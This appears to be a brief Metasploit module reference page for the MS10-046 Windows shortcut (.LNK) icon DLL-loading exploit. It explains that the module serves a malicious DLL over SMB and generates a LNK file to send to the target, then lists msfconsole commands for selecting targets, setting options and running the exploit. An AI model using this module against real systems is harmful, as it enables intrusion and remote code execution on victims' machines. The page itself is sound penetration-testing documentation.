This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This creates an SMB resource to provide the payload inside a DLL, and generates a LNK file which must be sent to the target.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/smb/ms10_046_shortcut_icon_dllloader
msf exploit(ms10_046_shortcut_icon_dllloader) > show targets
...targets...
msf exploit(ms10_046_shortcut_icon_dllloader) > set TARGET < target-id >
msf exploit(ms10_046_shortcut_icon_dllloader) > show options
...show and set options...
msf exploit(ms10_046_shortcut_icon_dllloader) > exploit
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